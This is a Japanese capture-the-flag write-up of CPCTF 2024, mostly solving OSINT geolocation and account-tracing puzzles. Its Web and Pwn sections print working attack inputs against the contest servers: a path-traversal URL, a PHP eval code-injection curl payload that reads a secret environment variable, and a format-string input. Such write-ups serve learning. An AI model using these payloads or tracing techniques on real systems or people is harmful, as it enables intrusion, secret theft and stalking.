更新履歴

  • 2024-05-17
    • 可読性向上のため改行を挿入
    • 一部コードブロックのシンタックスハイライトが効かない問題を修正
    • 目次を削除

はじめに

  • 初めて書いたWriteupかもしれない(←2つ目のWriteupだった)。せっかくなので少し丁寧めに書く。
  • 主にOSINT問を解いた。

CPCTF 2024について

戦績

項目
順位58/169
スコア1120.88

凡例

  • 問題名 (難易度, 正答者数, 自分の解答状況)

自分の解答状況

記号意味
解けた
🔺惜しい所まで行ったが解けなかった
❌️ヒントを見て解いた, または解けなかった
-その他

Binary

peeping (Newbie, 79 solved, ✔)

僕の考えたflagを当てられますか? 配布ファイル

とりあえずstringsコマンドでテキストデータを表示させると, flagが出てきた。

$ strings files/chall
... (略)
CPCTF{∎∎∎∎∎∎∎∎∎∎∎∎∎}
... (略)
flag

CPCTF{b3_4_cLa1rv0yANt}

Crypto

Substitution (Newbie, 90 solved, ❌️)

Cpvv muzp! Xuvdazs ijax ekrtiusknl kpqgakpx fuij xwavv nzm tniapzep. Rug’dp mpluzxiknipm pyeptiauznv neglpz nzm tpkxpdpknzep. Fkndu buk eknewazs ijp eump nzm gzvuewazs aix xpekpix! ETEIB{jpvvu_ekrtiu_cukvm}

ヒントを見た。換字式暗号らしい。

flag

CPCTF{hello_crypto_world}

Forensics

white has much information (Easy, 60 solved, ✔)

これがflagにつながるらしいです
https://files.cpctf.space/white_has_much_information.txt

問題ファイルをメモ帳などで開きマウスで選択すると空白が見える。空白といえばWhitespaceというプログラミング言語が連想されるのでその方向で進める。

ブラウザ上で動作するインタプリタ (Whitespace Interpreter) があるのでそこで実行するとflagが得られる。

Misc

1問も解けなかった。turning overは問題ファイルをBlenderで開くとBlenderごと落ちてしまい (原因不明), flagを得られなかった。

OSINT

  • OSINT問の解法における?(疑問符) は, 不明瞭だったため読み取れなかった文字を表す

mokomoko (Newbie, 97 solved, ✔)

綺麗な風景ですね。これはどこで撮ったのでしょうか?
撮影場所は何らかの施設のようです。施設が用いている電話番号を CPCTF{} で囲んで解答してください。ハイフンは入れないこと。

Googleレンズに画像を突っ込むと, 日立シーサイドパークであることが分かる。

Googleでそれを検索すると画面右側のナレッジパネルに電話番号が出てくるので, ハイフンを入れずにCPCTF{}で囲んで解答する。

omu-napo (Newbie, 36 solved, ✔)

熱々の鉄板の上のオムナポ、美味しかった〜。
店舗名の英語表記をスペースを抜いた状態ものをCPCTF{}で包んだものがflagです。 例: 店舗名が「Tokodai Cafe」の場合、flagはCPCTF{TokodaiCafe}になります。

IrfanViewで画像を開き, メニューのImage -> Information… -> EXIF info -> Show in Google Mapsを押下し, 画像に記録されている緯度経度をGoogleマップ上で表示する。

ピンの先が渋谷フクラスビルを示しているので, Googleで渋谷フクラスビル 洋食屋と検索すると, 検索結果の最上部に地図とともに純洋食とスイーツ パーラー大箸が現れる。

その店名をGoogleで検索するとインスタの公式アカウント名が@parlour_ohashiであることが分かる。

flag

CPCTF{ParlourOhashi}

Doctor yellow (Easy, 69 solved, ❌️)

2024年の東工大の前期合格発表の翌日、河川敷を歩いていたら黄色い新幹線が走っているのを見かけました。 これはどこで撮られた写真でしょう? フラグは撮影された場所の緯度と経度を10進数で表記して小数点以下3桁で切り捨てたものを順に並べたものです。
(例えば北緯aa.bb度 東経ccc.dd度であるとき、緯度と経度を用いてCPCTF{aabb_cccdd}です。)

合格発表 | 東京工業大学 高校生・受験生向けサイトより, 写真が撮影された日は2024年3月9日であることがわかる。 撮影地を特定するためGoogleレンズで検索すると, 検索結果に多摩川が現れる。

それだけでは情報を絞れなかったので, ドクターイエロー 目撃情報と検索しヒットした掲示板を探すも, 東京付近かつ撮影日の目撃情報が見つからない。 ヒント2を見ると, どうやら品川駅付近らしい。

Googleマップで品川駅から東海道新幹線沿線沿いを探索すると, 画像後方のビル群等を組み合わせてここ周辺であることがわかる。

flag

flag: CPCTF{3558_13967}

感想

Dokoda? (Easy, 40 solved, ✔)

どこで撮ったスクリーンショットだったか忘れてしまいました。
最寄駅のローマ字表記(全て小文字)をCPCTF{}で包んだものがflagになります。 例: 答えが稚内駅の場合flagはCPCTF{wakkanai}となります。

画像と睨んでいても場所の情報が得られなさそうなので, 画像中の各SSID (例: +USEN_Free_WiFi) の下にあるMACアドレス (例: 98:2d...(略)) をWiGLEで検索する。

画面上のView -> Basic Searchを開く。右側の地図で日本全体を表示して右側のBSSID/MACという項目にMACアドレスを入力してQueryボタンを押下し検索。

地図上のピンを拡大すると, 最寄り駅が鷺ノ宮 (Saginomiya)であることが分かる。

flag

flag: CPCTF{saginomiya}

メモ: SSID/BSSID/ESSIDについての記事

leaving (Easy, 44 solved, ✔)

電車に忘れ物をしてしまいました。事情があって、できれば駅員さんに言わずに回収したいのです。でももう数時間たっているんですよね……置きっぱなしなら嬉しいのですが。
スマホから今日の写真が出てきました。
忘れ物をしたことに気付いたのは15時ちょうどです。まだ誰にも拾われていなかったとすると、忘れ物を載せた電車が次に停まる駅はどこでしょうか。 【解答】
次のフラグ形式で解答してください
CPCTF{駅名}
駅名 : 駅名のローマ字をヘボン式、全て小文字で 【解答の例示】
中野(なかの)駅の場合
CPCTF{nakano}

画像からわかること:

  • 列車がJR東海のそれ
  • 発車標のアナログ時計から, 撮影時刻が10時23分
  • 発車標から, 普通 (当駅始発) 10:25発 熱海行き 3両
  • 発車標の奥に新幹線のりかえから, 新幹線の駅がある

Googleレンズに画像を投げると, 浜松駅がヒットする。浜松駅は東海道新幹線の停車駅であるので東海道本線浜松駅で撮影されたと仮定する。

東海道線上り(浜松→熱海)運用表の中から10:25浜松発の熱海行き列車を探すと列車番号450Mが見つかり, 熱海着が13:04である事がわかる。

熱海から折り返すと仮定して, 東海道線下り(熱海→浜松)運用表の中から13:04以降発の列車を探すと, 列車番号455M熱海13:14発豊橋行きが見つかる。

Yahoo!路線情報の乗換案内で熱海から豊橋, 13:14出発 新幹線無しを指定して検索すると検索結果より, 15:00以降に初めて停車する駅は15:02着の金谷 (かなや)であることが分かる。

flag

CPCTF{kanaya}

Forbidden Code 1 (Medium, 28 solved, 🔺)

注: メールアドレスのローカルパートは省略

私の友達が、怪しい発信をしているという噂を聞いた。その真相が知りたいため、手伝ってほしい。
ひとまず、彼の持っているアカウントを調べ上げてほしい。
彼のメールアドレスは、@gmail.com だ。

与えられたメールアドレスがGmailアドレスなので, GHuntを使用して調べてみる。

$ ghunt @gmail.com
... (略)
🗓️ Calendar data
[+] Public Google Calendar found !
... (略)
🗃️ Download link :
=> https://calendar.google.com/calendar/ical/@gmail.com/public/basic.ics

どうやらPublicなGoogleカレンダーが存在するらしいので, Download Linkにアクセスしicsファイルをダウンロードしてメモ帳等で開く。

BEGIN:VCALENDAR
PRODID:-//Google Inc//Google Calendar 70.9054//EN
VERSION:2.0
... (略)
DESCRIPTION:please contact me: \ngmail: @gmail.com\nX : myaomyaohi
 t
... (略)
DESCRIPTION:my favorite CTF event!!!!!!\n I got a leak of part of the flag:
  CPCTF{Did_Y0u_3\nKeep it a secret!!!! :D
... (略)

2つ存在するDESCRIPTIONの内, 前者の方にXのアカウント名らしきもの (myaomyaohit) が書かれている。後者の方には, flagの一部 (CPCTF{Did_Y0u_3) が書かれている。

Xで@myaomyaohitのユーザページを開くと以下の物が見つかる:

  • bioにフラグの一部 (nj0y_tH3_5N5_5u)
  • pastebinのURL (https://pastebin.com/C9eUeuQe) を含むツイート
  • It's not safe to post it here. I'll post it somewhere else.というツイート

I'll post it somewhere elseとあるので, Googleでmyaomyaohitを検索してみるとRedditのユーザページがヒット。ページ右側にあるbioにflagの一部 (rV3y?_1df1aa3r}) が書かれている…ことに気が付かず, ページ中央に書かれているRSA暗号に目が行ってしまい解けなかった。どうやらRSA暗号は, 当問題の続きの問題であるForbidden code 2に関係するものらしい。

flag

CPCTF{Did_Y0u_3nj0y_tH3_5N5_5urV3y?_1df1aa3r}

Great view (Medium, 50 solved, ❌️)

とても見晴らしが良い場所に来ました!
ところで、この場所はあるゲームアプリの中でも登場したようです。
そのアプリが正式リリースされた日時を教えてください。 ただし、次のフラグ形式で解答してください: CPCTF{YYYY_MM_DD_hh_mm}
(全て半角数字です。月日、時、分は必要なら先頭に’0’を付けて2桁で回答してください。タイムゾーンはJSTです。24時制で表記してください。)
例(2024年4月21日 16時00分 の場合): CPCTF{2024_04_21_16_00}

Googleレンズに突っ込むと卯辰山公園見晴らし台で撮影された写真であるとわかる。 卯辰山公園見晴らし台 ゲームと調べるとLink!Like!ラブライブ!というゲームで登場することがわかる。

Link!Like!ラブライブ!と調べると, 2023/05/20に正式リリースであるという記載は複数見つかるが, 肝心の時刻が見つからない。

ここで, 公式Twitterアカウント (@hasunosora_SIC) を調べてみる。

2023/05/20までのツイートを見たいので, Twitterでfrom:hasunosora_SIC until:2023-05-20と検索する。

そうして現れるこの投稿より18時頃予定であることがわかるが, 18時何分なのかがわからない。18:00だと仮定して答えたがハズレ。お手上げだ。

Writeupを書くにあたってヒントを全部開けた。ヒント曰くfrom:hasunosora_SIC until:2023-05-21と調べると良いらしい。え?

試しに調べると, この投稿この投稿より, 23:30ということがわかった。

一体なぜ until:2023-05-20 でこれらの投稿が引っかからなかったのだろうか。

どうやら, untilで指定する時間はUTC (協定世界時)として扱われ, JST (日本時間) として扱わせるには2023-05-20_23:59:59_JSTなどという風にする必要があるらしい。

flag

CPCTF{2023_05_20_23_30}

感想

  • 05-20で駄目だったのなら次の日である05-21も試せば良かった。流石にUTC・JSTのことは頭に微塵も無かった。

Patlite (Medium, 38 solved, ✔)

どこで撮影されたものか北緯と東経を小数4位を四捨五入して、以下の形式で変換して提出してください。
北緯30.4445度、東経138.8882の場合、CPCTF{30-445_138-888}となります。

画像からわかること:

  • ?06 渋谷駅の方向幕を表示するバス
    • ?06は系統名, 渋谷駅は行先であると仮定
  • 車ゆりかもめと都営バス

東京都 バス 渋谷駅行き 06をGoogle検索すると, 都営バスの都06系統であることが分かる。

都バス 都06 系統運行状況 | 都バス運行情報サービス | 東京都交通局より, 都06系統は新橋駅前から渋谷駅前までを結ぶことが分かる&ゆりかもめが新橋駅を通っていることから, 新橋駅前周辺をGoogleストリートビューで閲覧。画像左半分のシャッターと画像右側にある緑の看板を目印にして撮影場所を探すと, 緯度経度35.6657, 139.7589あたりが適切そうである。

flag

CPCTF{35-556_139-759}

Passing (Hard, 12 solved, 🔺)

YouTubeに投稿された動画の撮影場所と撮影日時を特定してください。
https://youtu.be/A1cnWeUiitk 【解答】
次のフラグ形式で解答してください
CPCTF{駅名_撮影日_時間}
駅名 : 駅名のローマ字をヘボン式、全て小文字で
撮影日 : YYYYMMDD
時間 : 24時間表記(時+分)で、コロンは取る。また、分数の1の位は切り捨てて0とする。 【解答の例示】
中野(なかの)駅で2024年4月20日 10時34分に撮影している場合
CPCTF{nakano_20240420_1030}

動画からわかること (画質設定を1080p60に変更することを推奨):

  • 列車がJR東海のそれ (2回目) (列車下に記載の系を見て調べれば分かる)
  • 画面中央の案内標を目をよく凝らして見ると, 中?天? ??方面と書かれている
  • 駅のプラットホームの形式が島式
  • 18秒あたりに, 天竜峡と表示された方向幕が映る (後で気がついた)

撮影場所

雰囲気から鑑みて, 飯田線・身延線・御殿場線辺りに目星を付ける。

JR東海の路線図を見る。中?天?という名前の駅を探すと, 中部天竜という駅が飯田線内で見つかる。

YouTubeで飯田線の前面展望動画を観る。島式ホーム以外をひたすら飛ばしていくと, 1:26:57あたりの三河槙原駅が問題の動画と似ている。

Googleマップで見てみると明らかに問題の動画と景色が一致。

撮影時刻

三河槙原駅(JR飯田線 中部天竜・天竜峡方面)の時刻表 - Yahoo!路線情報中部天竜・天竜峡方面より, 三河槙原を発車する天竜峡行きの列車は平日・土日祝共通で以下の4本があることがわかる:

  • 07:07
  • 09:43
  • 14:54
  • 20:07

さらに, 問題の動画の空の明るさより明らかに20:07は除外できるので候補は3本に絞られる。

撮影日

問題の動画と同じ投稿者の別の動画 (車窓) の概要欄にXへのリンク (@ichikami412657) があった。

フォロー中とフォロワーの両方に@tym10926dateraというアカウントが居るが, 鍵垢なので情報が得られない。

撮影場所と撮影時刻はおおよそ明らかになったが, 肝心の撮影日がわからない。解けそうになかったが, ヒントを開けたくなかったのでお手上げ。一応2024年3月~4月あたりを答えたがハズレ。

Writeupを書くにあたって, ヒントを全て開けた。どうやらインスタグラム上に例の鍵垢と同じIDのアカウントがあり, そこから撮影日を特定するらしい。

感想

  • 天竜峡行きを表示する方向幕を最初に見ておけば路線が早く確定した
  • 動画の一部分をスクリーンショットしてGoogleレンズに投げれば駅が早く確定した
  • ユーザー名をググればよかった

PPC

About half (Newbie, 92 solved, ✔)

https://yukicoder.me/problems/10842

飴が全部で個あって、Aliceに 個、Bobに 個分けました。
AliceとBobは、相手の持っている飴の個数が、自分の持っている飴の個数の 倍より大きいとき、分け方に文句を言います。
この分け方にAliceもBobも文句を言わないかどうか判定をしてください。

つまり, A>2BまたはB>2Aならば文句を言い, そうでない場合は文句を言わない。

A, B = map(int, input().split())
if A > B*2 or B > A*2:
	print("No")
else:
	print("Yes")
flag

CPCTF{n07_h41f}

Compound Word (Newbie, 72 solved, ✔)

https://yukicoder.me/problems/10834

個の文字列 ​ が与えられる。
これらの文字列のうち、異なる二つの文字列 ​, ​ を選び、​ の順につなげた文字列を をします。
この時、 としてあり得る文字列は何通りあるか求めてください。

  1. 文字列をつなげる
  2. それが既出だった場合 (リストに含まれている場合) はスキップする
  3. そうでない場合はリストに追加する
  4. 全パターンを試し終わるまで, 1~3を繰り返す
  5. リストの長さを出力する
N = int(input())
S = []
T = []
for _ in range(N):
	S.append(input())
for i, s_a in enumerate(S):
	for k, s_b in enumerate(S):
		if i == k:
			continue
		if s_a+s_b not in T:
			T.append(s_a+s_b)
 
print(len(T))
flag

CPCTF{Set_is_Useful_ki70v9354v7onymw}

Pwn

Attack! Attack! Win! (Newbie, 80 solved, ❌️)

flagを盗まれてしまいました……
敵を倒して取り返してきてもらえませんか?
nc attack_attack_win.web.cpctf.space 30005 配布ファイル

ヒントを見て言われるがままに-2を入力した。

flag

CPCTF{4_c1eVeR_4nd_p4CifI5t_7hi3F}

CPCT… (Easy, 61 solved, ❌️)

等価交換って良いですよね。ということで、入力した文字数の分だけflagをあげます!
でも貰いすぎても困るので4文字以内でお願いします……
nc cpct.web.cpctf.space 30006 配布ファイル

入力した文字数の文だけflagが貰えるプログラム。

長い文字列を入力しても4文字以内でないとflagが貰えない。

見当がつかなかったのでヒントをすべて開けた。39行目のlength = printf(buf);が脆弱らしい (Format String Bug)。書かれている通り%99cと入力してflagを入手。

調べた結果, %cの間に数字を入れれば全体幅がその数値になるように調整されて出力されるということがわかった。(参考: フォーマット指定子一覧)

files/chall.c

// ...(略)
	printf("Thank you!\nYour input:");
	length = printf(buf);
	printf("\n");
	printf("Length: %d\n", length);
// ...(略)
flag

CPCTF{1m_50rrY_bu7_i_Hav3_0nLy_45_ch4raCteRs}

Shell

netcat (Newbie, 101 solved, ✔)

次のアドレスに接続するとフラグが貰えます! domain: shell-netcat.web.cpctf.space port: 30010

問題名通り, netcatを使う。

$ nc shell-netcat.web.cpctf.space 30010
CPCTF{nc_means_netcat}

veeeeeeery long text (Easy, 66 solved, -)

Writeupを書いている時に存在に気がついた問題。競技中完全に見落としていた。

grepコマンドを使用してflag.txtからflagを探す。

$ cat flag.txt | grep CPCTF
CPCTF{∎∎∎∎∎∎∎∎∎∎∎∎∎}FjmZDU+#_w0Dp@tnD]>MvLEDo\.P;nq0::qM1&V7*~X
flag

CPCTF{p1pe_15_u5efu1}

Web

Typing game (Newbie, 124 solved, ✔)

面白そうなタイピングゲームを見つけたぞ!早速やってみよう♪
…なんかムズくない?????
問題サイト:https://typing-game.web.cpctf.space/

ブラウザ上でCtrl+Uを押下してページのソースを確認すると, main.jsというファイルが見つかるのでアクセスすると最終行にflagが見つかる。

flag

CPCTF{y0u_4r3_4_typ1ng_m45t3r}

Read Novels (Easy, 87 solved, ✔)

小説が読めるサイトを見つけたぞ!
これ小説以外も見れるじゃん…
サイト:https://read-novels.web.cpctf.space
配布ファイル:https://files.cpctf.space/read-novels.zip

配布ファイルのディレクトリ構造

$ tree Read_Novels-main
Read_Novels-main/
├── app.py
├── flag
├── novel
│   ├── mon
│   ├── sanshiro
│   └── sorekara
└── templates
    ├── index.html
    └── novel.html

app.py

# ...(略)
@app.route('/novel', methods=['GET'])
def novel():
    name = request.args.get('name')
    filepath = './novel/' + name
    if os.path.exists(filepath) == False:
        return "File not found"
    if os.path.isfile(filepath) == False:
        return "Not a file"
    body = open(filepath, 'r').read()
    return render_template('novel.html', title=name, body=body)
# ...(略)

./novel/と GETのnameパラメータで指定された文字列を繋げたものをパスとして開くという処理をしていることが分かる。

ファイルのパスを投げればそのファイルの中身を返してくれそうなので, パストラバーサルflagファイルを開かせる。

filepath./novel/../flagにしたいから, https://read-novels.web.cpctf.space/novel?name=../flagにアクセスしてflagを入手。

flag

CPCTF{P4th_tr4v3rs41_15_v3ry_d4ng3r0u5}

Let’s buy some array (Easy, 67 solved, ✔)

贔屓にしている数列屋さんがモバイルオーダーに対応したらしい。とは言っても金額計算機能しかないらしいけど。
…この金額計算、あんまり安全じゃなくないか?
問題サーバー:https://lets-buy-some-array.web.cpctf.space/
配布ファイル:https://files.cpctf.space/lets-buy-some-array.zip

Dockerfile

FROM php:8.3-apache
COPY ./src/ /var/www/html

ENV FLAG=CPCTF{dummy_flag}
EXPOSE 80

array/src/purchase.php

// ...(略)
        <form action="purchase.php" method="post">
            <table>
                <tr>
                    <th>商品名</th>
                    <th>単価</th>
                    <th>個数</th>
                    <th>小計</th>
                </tr>
                <tr>
                    <td>フィボナッチ数列</td>
                    <td>1000</td>
                    <td><?=$_POST["quantity1"]?></td>
                    <td><?=eval('return ' . $_POST["quantity1"] . '*1000;')?></td>
                </tr>
                <tr>
                    <td>素数列</td>
                    <td>2000</td>
                    <td><?=$_POST["quantity2"]?></td>
                    <td><?=eval('return ' . $_POST["quantity2"] . '*2000;')?></td>
 
                </tr>
                <tr>
                    <td>三角数列</td>
                    <td>1500</td>
                    <td><?=$_POST["quantity3"]?></td>
                    <td><?=eval('return ' . $_POST["quantity3"] . '*1500;')?></td>
                </tr>
            </table>
            <p>合計金額は<?=eval('return ' . $_POST["quantity1"] . '*1000+' . $_POST["quantity2"] . '*2000+' . $_POST["quantity3"] . '*1500;')?>円です。この画面を実店舗の店員にご提示ください。</p>

わかること:

  • 環境変数FLAGにflagが保管されている
  • quantity1quantity2quantity3 の中身が, 引数としてeval関数に渡されている

よって, 環境変数を取得するコードをquantity1, quantity2, quantity3のいずれかに入れて実行すればflagを取得できそうである。

PHP 環境変数 取得などと検索すると, getenv$_ENVがヒットする。

今回は, quantity1に, 環境変数を取得する, getenvを使用したコードを入れる。

単純に以下のデータを入れて実行しても, エラーが吐かれてしまってflagを得られない:

要素中身
quantity1getenv(“FLAG”)
quantity21
quantity31
実行結果
$ curl -X POST -d 'quantity1=getenv("FLAG")&quantity2=1&quantity3=1' https://lets-buy-some-array.web.cpctf.space/purchase.php
...(略)
<b>Fatal error</b>:  Uncaught TypeError: Unsupported operand types: string * int in /var/www/html/purchase.php(20) : eval()'d code:1
Stack trace:
#0 /var/www/html/purchase.php(20): eval()
#1 {main}
  thrown in <b>/var/www/html/purchase.php(20) : eval()'d code</b> on line <b>1</b><br />

ここで, 当該のeval関数は以下のようになっているから,

eval('return ' . $_POST["quantity1"] . '*1000+' . $_POST["quantity2"] . '*2000+' . $_POST["quantity3"] . '*1500;')

quantity1にgetenv("FLAG")を入れると:

eval('return ' . 'getenv("FLAG")' . '*1000+' . $_POST["quantity2"] . '*2000+' . $_POST["quantity3"] . '*1500;')

”.” (ドット) は文字列結合の意味であると推測して (実際にそういう意味である):

eval('return getenv("FLAG") *1000+1*2000+1*1500;')

となり, 文字列 (getenv("FLAG")) と数値 (1000) 同士の演算になってしまうからエラーが吐かれたのだと推測できる。

これを回避するために, getenv("FLAG")より後の文字列が実行されないようにする。具体的には, ;で文を終わらせ, //で以降の文字列をコメント化する。

よって, quantity1にgetenv("FLAG")ではなくgetenv("FLAG");//を入れるように変えて実行すれば良い。

$ curl -X POST -d 'quantity1=getenv("FLAG");//&quantity2=1&quantity3=1' https://lets-buy-some-array.web.cpctf.space/purchase.php
...(略)
            </table>
            <p>合計金額はCPCTF{3x3c_Func710n_1s_d4ng3r0u5}円です。この画面を実店舗の店員にご提示ください。</p>
        </form>
    </body>
</html>
flag

CPCTF{3x3c_Func710n_1s_d4ng3r0u5}

振り返り

  • OSINTが面白かった
    • Geoguessr要素に加えて, 得られる情報から条件を仮定して調査する部分が主に
  • 問題自体の見落としが無いようにしたい
  • PPCがNewbie以外全く解けなかったので競プロも学びたい